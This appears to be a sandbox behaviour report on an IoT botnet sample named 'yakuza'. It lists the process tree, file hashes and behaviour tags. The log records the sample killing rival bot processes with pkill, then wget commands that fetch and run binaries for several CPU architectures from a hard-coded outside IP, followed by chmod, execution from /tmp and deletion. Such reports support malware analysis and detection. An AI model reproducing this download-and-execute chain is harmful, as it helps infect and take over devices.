/bin/shsh -c "pkill -9 T || busybox pkill -9 T"3⤵PID:2251
-
/usr/bin/pkillpkill -9 T4⤵PID:2254
-
-
/bin/busyboxbusybox pkill -9 T4⤵PID:2255
-
-
-
/bin/shsh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"3⤵PID:2260
-
/usr/bin/pkillpkill -9 jUYfouyf874⤵PID:2263
-
-
/bin/busyboxbusybox pkill -9 jUYfouyf874⤵PID:2265
-
-
-
/bin/shsh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"3⤵PID:2270
-
/usr/bin/pkillpkill -9 6ke34⤵PID:2272
-
-
/bin/busyboxbusybox pkill -9 6ke34⤵PID:2273
-
-
-
/bin/shsh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"3⤵PID:2278
-
/usr/bin/pkillpkill -9 TOKYO34⤵PID:2280
-
-
/bin/busyboxbusybox pkill -9 TOKYO34⤵PID:2284
-
-
-
/bin/shsh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"3⤵PID:2287
-
/usr/bin/pkillpkill -9 lyEeaXul2dULCVxh4⤵PID:2289
-
-
/bin/busyboxbusybox pkill -9 lyEeaXul2dULCVxh4⤵PID:2293
-
-
-
/bin/shsh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"3⤵PID:2298
-
/usr/bin/pkillpkill -9 93OfjHZ2z4⤵PID:2299
-
-
/bin/busyboxbusybox pkill -9 93OfjHZ2z4⤵PID:2304
-
-
-
/bin/shsh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"3⤵PID:2309
-
/usr/bin/pkillpkill -9 TY2gD6MZvKc7KU6r4⤵
- Reads runtime system information
PID:2310
-
-
/bin/busyboxbusybox pkill -9 TY2gD6MZvKc7KU6r4⤵PID:2313
-
-
-
/bin/shsh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"3⤵PID:2316
-
/usr/bin/pkillpkill -9 mMkiy6f87l4⤵
- Reads CPU attributes
PID:2319
-
-
/bin/busyboxbusybox pkill -9 mMkiy6f87l4⤵PID:2322
-
-
-
/bin/shsh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"3⤵PID:2325
-
/usr/bin/pkillpkill -9 A023UU4U24UIU4⤵
- Reads runtime system information
PID:2328
-
-
/bin/busyboxbusybox pkill -9 A023UU4U24UIU4⤵PID:2329
-
-
-
/bin/shsh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"3⤵PID:2332
-
/usr/bin/pkillpkill -9 TheWeeknd4⤵PID:2335
-
-
/bin/busyboxbusybox pkill -9 TheWeeknd4⤵PID:2339
-
-
-
/bin/shsh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"3⤵PID:2345
-
/usr/bin/pkillpkill -9 mioribitches4⤵
- Reads runtime system information
PID:2346
-
-
/bin/busyboxbusybox pkill -9 mioribitches4⤵PID:2349
-
-
-
/bin/shsh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"3⤵PID:2352
-
/usr/bin/pkillpkill -9 A5p94⤵PID:2353
-
-
/bin/busyboxbusybox pkill -9 A5p94⤵PID:2356
-
-
-
/bin/shsh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"3⤵PID:2359
-
/usr/bin/pkillpkill -9 TheWeeknds4⤵PID:2364
-
-
/bin/busyboxbusybox pkill -9 TheWeeknds4⤵PID:2365
-
-
-
/bin/shsh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"3⤵PID:2369
-
/usr/bin/pkillpkill -9 mnblkjpoi4⤵
- Reads runtime system information
PID:2370
-
-
/bin/busyboxbusybox pkill -9 mnblkjpoi4⤵PID:2375
-
-
-
/bin/shsh -c "pkill -9 AbAd || busybox pkill -9 AbAd"3⤵PID:2377
-
/usr/bin/pkillpkill -9 AbAd4⤵
- Reads CPU attributes
PID:2382
-
-
/bin/busyboxbusybox pkill -9 AbAd4⤵PID:2384
-
-
-
/bin/shsh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"3⤵PID:2386
-
/usr/bin/pkillpkill -9 Tokyos4⤵
- Reads runtime system information
PID:2389
-
-
/bin/busyboxbusybox pkill -9 Tokyos4⤵PID:2394
-
-
-
/bin/shsh -c "pkill -9 neb || busybox pkill -9 neb"3⤵PID:2398
-
/usr/bin/pkillpkill -9 neb4⤵
- Reads CPU attributes
PID:2400
-
-
/bin/busyboxbusybox pkill -9 neb4⤵PID:2402
-
-
-
/bin/shsh -c "pkill -9 Akiru || busybox pkill -9 Akiru"3⤵PID:2405
-
/usr/bin/pkillpkill -9 Akiru4⤵PID:2406
-
-
/bin/busyboxbusybox pkill -9 Akiru4⤵PID:2411
-
-
-
/bin/shsh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"3⤵PID:2415
-
/usr/bin/pkillpkill -9 U8inTz4⤵PID:2416
-
-
/bin/busyboxbusybox pkill -9 U8inTz4⤵PID:2421
-
-
-
/bin/shsh -c "pkill -9 netstats || busybox pkill -9 netstats"3⤵PID:2423
-
/usr/bin/pkillpkill -9 netstats4⤵PID:2426
-
-
/bin/busyboxbusybox pkill -9 netstats4⤵PID:2428
-
-
-
/bin/shsh -c "pkill -9 Alex || busybox pkill -9 Alex"3⤵PID:2431
-
/usr/bin/pkillpkill -9 Alex4⤵PID:2432
-
-
/bin/busyboxbusybox pkill -9 Alex4⤵PID:2439
-
-
-
/bin/shsh -c "pkill -9 W9RCAKM20T || busybox pkill -9 W9RCAKM20T"3⤵PID:2442
-
/usr/bin/pkillpkill -9 W9RCAKM20T4⤵PID:2445
-
-
/bin/busyboxbusybox pkill -9 W9RCAKM20T4⤵PID:2446
-
-
-
/bin/shsh -c "pkill -9 newnetword || busybox pkill -9 newnetword"3⤵PID:2449
-
/usr/bin/pkillpkill -9 newnetword4⤵PID:2453
-
-
/bin/busyboxbusybox pkill -9 newnetword4⤵PID:2457
-
-
-
/bin/shsh -c "pkill -9 Ayo215 || busybox pkill -9 Ayo215"3⤵PID:2460
-
/usr/bin/pkillpkill -9 Ayo2154⤵
- Reads runtime system information
PID:2461
-
-
/bin/busyboxbusybox pkill -9 Ayo2154⤵PID:2464
-
-
-
/bin/shsh -c "pkill -9 Word || busybox pkill -9 Word"3⤵PID:2467
-
/usr/bin/pkillpkill -9 Word4⤵PID:2470
-
-
/bin/busyboxbusybox pkill -9 Word4⤵PID:2473
-
-
-
/bin/shsh -c "pkill -9 nloads || busybox pkill -9 nloads"3⤵PID:2476
-
/usr/bin/pkillpkill -9 nloads4⤵
- Reads runtime system information
PID:2479
-
-
/bin/busyboxbusybox pkill -9 nloads4⤵PID:2482
-
-
-
/bin/shsh -c "pkill -9 BAdAsV || busybox pkill -9 BAdAsV"3⤵PID:2486
-
/usr/bin/pkillpkill -9 BAdAsV4⤵
- Reads CPU attributes
PID:2488
-
-
/bin/busyboxbusybox pkill -9 BAdAsV4⤵PID:2493
-
-
-
/bin/shsh -c "pkill -9 Wordmane || busybox pkill -9 Wordmane"3⤵PID:2496
-
/usr/bin/pkillpkill -9 Wordmane4⤵PID:2499
-
-
/bin/busyboxbusybox pkill -9 Wordmane4⤵PID:2501
-
-
-
/bin/shsh -c "pkill -9 notyakuzaa || busybox pkill -9 notyakuzaa"3⤵PID:2504
-
/usr/bin/pkillpkill -9 notyakuzaa4⤵
- Reads runtime system information
PID:2506
-
-
/bin/busyboxbusybox pkill -9 notyakuzaa4⤵PID:2511
-
-
-
/bin/shsh -c "pkill -9 Belch || busybox pkill -9 Belch"3⤵PID:2514
-
/usr/bin/pkillpkill -9 Belch4⤵
- Reads runtime system information
PID:2517
-
-
/bin/busyboxbusybox pkill -9 Belch4⤵PID:2519
-
-
-
/bin/shsh -c "pkill -9 Wordnets || busybox pkill -9 Wordnets"3⤵PID:2522
-
/usr/bin/pkillpkill -9 Wordnets4⤵PID:2524
-
-
/bin/busyboxbusybox pkill -9 Wordnets4⤵PID:2528
-
-
-
-
/bin/rmrm -rf yakuza.i5862⤵PID:1537
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.m68k2⤵
- Writes file to tmp directory
PID:1542
-
-
/bin/chmodchmod +x yakuza.m68k2⤵
- File and Directory Permissions Modification
PID:1549
-
-
/tmp/yakuza.m68k./yakuza.m68k2⤵PID:1550
-
-
/bin/rmrm -rf yakuza.m68k2⤵PID:1552
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm42⤵
- Writes file to tmp directory
PID:1553
-
-
/bin/chmodchmod +x yakuza.arm42⤵
- File and Directory Permissions Modification
PID:1555
-
-
/tmp/yakuza.arm4./yakuza.arm42⤵PID:1556
-
-
/bin/rmrm -rf yakuza.arm42⤵PID:1558
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm52⤵
- Writes file to tmp directory
PID:1559
-
-
/bin/chmodchmod +x yakuza.arm52⤵
- File and Directory Permissions Modification
PID:1566
-
-
/tmp/yakuza.arm5./yakuza.arm52⤵PID:1567
-
-
/bin/rmrm -rf yakuza.arm52⤵PID:1569
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm72⤵
- Writes file to tmp directory
PID:1570
-
-
/bin/chmodchmod +x yakuza.arm72⤵
- File and Directory Permissions Modification
PID:1574
-
-
/tmp/yakuza.arm7./yakuza.arm72⤵PID:1575
-
-
/bin/rmrm -rf yakuza.arm72⤵PID:1577
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.sparc2⤵
- Writes file to tmp directory
PID:1578
-
-
/bin/chmodchmod +x yakuza.sparc2⤵
- File and Directory Permissions Modification
PID:1582
-
-
/tmp/yakuza.sparc./yakuza.sparc2⤵PID:1583
-
-
/bin/rmrm -rf yakuza.sparc2⤵PID:1585
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
183KB
MD56b663dec7156331eee76ef1728d52b73
SHA150713911df22fd9f90a3175accf83f9ec7d5b486
SHA256d8eeeeaf346781bc005b5bd15fc2fe90e183cbc57ebeef44d4c266b3b099b71d
SHA512b647d10b39119dec04e757f8386f3cf808a0b6ffcb27b592145f328e213e270dd8977f323f267849a70f6be6a7bee51ec2e918ddfcf01fcaa0a1eb6596793013